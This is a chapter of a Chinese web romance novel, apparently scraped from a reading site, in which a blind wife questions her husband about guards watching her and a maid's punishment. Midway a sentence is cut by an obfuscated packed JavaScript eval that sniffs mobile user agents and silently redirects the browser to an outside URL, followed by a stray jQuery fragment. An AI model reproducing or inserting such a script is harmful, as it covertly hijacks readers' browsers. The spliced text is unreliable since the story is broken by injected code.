默认冷灰
24号文字
方正启体

11. 第 10 章

作者:虞归涟本书字数:K更新时间:
    “阿遥。”男人熟悉的声音出现在她的身边。


    郦遥静默,“夫君为何在这?”


    她手中紧着木杖,一步一探,将木杖敲在男人脚边,确定了他的位置。


    陈珖年主动上前两步,一边扶她一边解释:“今日我在这片当值。阿遥想去哪里逛,我陪你去。”


    郦遥手中的木杖轻轻点地,挡住了男人上前的脚步,语气细微有些变化。


    “夫君当值不可耽误,让冬越陪我就好了。”


    四周静默一瞬。


    夫人生气了,冬越连忙在中间化解气氛:


    “大人,您职责在身,要不就由奴婢陪着夫人去转转?”


    街边本想驻足凑热闹的人们在看到男人那张冷脸时,纷纷散去。


    陈珖年眉间一松,开口,“好,听阿遥的。”


    郦遥没说话,被冬越扶着沿着街边喧闹的铺子逛去。


    后面的男人,一声不吭,不疾不徐地跟在少女后面,保持着距离。


    一身窄袖玄色袍服,只手搭在腰间刀柄上,显尽压迫。


    每当人群中有低语议论之人,他们背后就会出现一道威胁的亮光。分散在人群的侍卫着常服,似在清场。


    一路走去,郦遥耳边喧声静了不少。她走累了:“冬越,这处可是茶楼?我饿了。”


    话音刚落,混在人群中的邱七一个转身,提前进了茶楼。


    冬越将人扶进去,随着郦遥的到来,茶楼厅中明显安静一瞬。


    大堂中,讲书人也顿了一息,瞥见女子后面那气度不凡的男人,慌忙接着断处继续讲。


    郦遥脚步未停,手中的木杖一步一点地穿过大堂,来到一处雅静厢房。


    她靠窗边而坐,冬越为她理好裙摆,问道:“夫人有什么想吃的?”


    郦遥摇头,“并无,随意上些吧。”


    不一会儿,小二端着菜品上了桌。


    盐水鸭、蟹粉狮子头、白袍虾仁,还有糖蒸酥酪。


    郦遥闻香一怔,紧了紧手中筷子,道:“这么巧,这京城里竟还有专做淮扬之菜的厨子。”


    冬越一边为她夹菜,一边接道:“是啊,这些都是夫人喜爱吃的,夫人尝尝味道可还正宗?”


    郦遥动了动筷子,水灵的眸子盯着碗中,语气似有无奈:“夫君进来吧。”


    冬越没敢接话,退到一旁。


    男人的身影出现在门口,他卸下腰间刀,洗了手,进了厢房,坐在郦遥对面。


    郦遥低着头,夹着虾仁放入口中。


    虾仁口感滑嫩,清鲜至极,味道正宗得不能再正宗。


    “夫君费心了。”她道。


    “阿遥喜欢就好。”男人声音温柔,将一碗凉茶放置她随手可拿的左侧。


    男人也没有吩咐小二再加一副碗筷,而是静静地观察着她用食的进度,每当她碗里所剩不多时,男人总会及时为她添菜。


    郦遥不知为何,心里有些堵闷,嘴里食不知味。


    她放下筷子,唤道:“夫君你过来。”


    男人也跟着放下筷子,换坐在她身边。


    她伸手去摸,却被男人偏开脸。


    “阿遥要做什么?”陈珖年看她,声音低柔地问。


    郦遥收回手,没说话。


    见此,陈珖年解释道:“当值的衣服不干净,待下了值,阿遥要打要骂都行,好不好?”


    郦遥不作声,扯着他的衣襟,如赌气般偏要摸他。


    男人身上有一层皮革罩甲,硬得硌手。


    男人护着她腰身,任由着她摸。


    这样炎热的天气,寻常人穿一件都嫌热了,他这裹得如铜墙铁壁般,竟还站在外面那么久。


    郦遥心里心疼,面上却仍还在为他监视她的行为生气。


    “活该。”


    陈珖年没反驳,只是拿起帕巾擦了擦她的手。


    这幅打不还手骂不还口的模样让郦遥心里的气消了一半,她摸着桌上那碗凉茶,一手攥着他手臂,语气带着少有的强硬:


    “喝了。”


    这声强硬的命令在男人眼里看去,比平日更可爱。


    陈珖年顺着她喝了那碗凉茶。


    如此,郦遥才仰头望他:“夫君为何要派人监视我?”


    陈珖年恍然明白今日阿遥的生气是源自何事,他眉眼的愁虑顿时消散几分:“阿遥是指那些守在府上的侍卫吗?他们常年如此,并非是用来监视阿遥的。”


    郦遥听他语气真挚,一时觉得也合理。夫君是广善侯府的公子,出行随从鞍前马后,府院自少不了看护的侍卫。


    是她想多了。


    “那你、为何要打冬越?”


    门外侯着的冬越心下一惊,她已经换了衣,伤口也用了药,还是被夫人发觉出了异样。


    陈珖年默声,盯着郦遥看了会,有些无可奈何她灵敏的嗅觉,他不假思索道:


    “近日,府上丢了东西,我让人排查了,发现贼人是昨日那批花匠混进来行窃的。虽说不是什么要紧之物,但有一就有二,为了阿遥的安危和府上日后管理,阿遥觉得为夫做错了么?”


    竟是这样。


    郦遥有些惊然,昨日那人竟是贼人。


    幸好她与那人未有过多交集。


    夫君向来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370859|199894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和善,这次的惩罚想必他心里也不好受,“是我误会夫君了,我只是有些担心冬越,并未想到事情会是这样......”


    郦遥忽然觉得自己很无用,不仅帮不上夫君,还误会夫君。


    “府上事务本该由我帮衬着夫君,是我无用,只会给夫君添麻烦。”


    郦遥心思单纯,早上还一肚子气,此刻却被愧疚填满。


    陈珖年捏捏郦遥的脸,见她没在生气,展颜道:“我并不这样认为,阿遥,你在我心里是最好的,就算你眼睛看得见,也不需要为我做什么。一切事情,你只管相信我,交给我,我愿意为阿遥效劳。”


    陈珖年柔声着,轻轻将她颊边秀发挽在耳后。


    郦遥不觉红了脸,这刻男人的目光好似能灼烧于她的心里,他惯这样,从第一次见面起,对她的感情好似没由来的浓烈。


    浓烈如潮海淹没她,让她触之可及的,只有他递来的竹筏,上只有他一人的岸边。


    “夫君要这样宠我一辈子么?”郦遥拿起羹勺,挖了勺糖蒸酥酪放在嘴里。


    “是。”


    “就这样一辈子不干活也不操持家务,被你养着?”郦遥嚼了嚼,问。


    “是。”陈珖年伸出指节,拭去她嘴角的糖渍。


    少女耳根一红,将碗勺放下,推给他。


    “又甜又腻,我不吃了。”


    男人接过她没吃完的,拿起她用过的羹勺,将剩下的吃完。


    “酥酪腻了可以不吃,但对我,阿遥不可以嫌腻。”


    郦遥努努嘴,看向窗外的风景,忽然道:“那夫君给我买一个新的木杖吧。”


    陈珖年一愣,看去她神情:“之前我想给你换根新的,你一直不肯扔掉旧木杖,如今,这是为何?”


    郦遥偏头,眉眼弯弯,“你别管。”


    “好。”陈珖年失声一笑,有时候阿遥的想法古怪,他也难以猜透。


    .


    新的拐杖郦遥如宝贝般爱不释手,回来时甚至都舍不得用。


    通身是以沉香木制成,杖首嵌入白脂玉,玉石中间带了点黄皮色,被人雕了轮廓,如日光华彩,破晓初升的扶光。


    她坐在床边,细细摸着。


    眼角带着笑,许久,她吩咐冬越将那根旧的木杖拿来。


    见郦遥将旧物放在锦盒中,冬越问:“这根普通的木杖对夫人是有什么意义吗?”


    那看起来应是路边随手捡的一根木头,被人削磨光滑,用至今时。


    郦遥笑:“是家乡的木头,虽普通,但陪了我很久。”


    听此,冬越点点头,替她收进库房保存起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)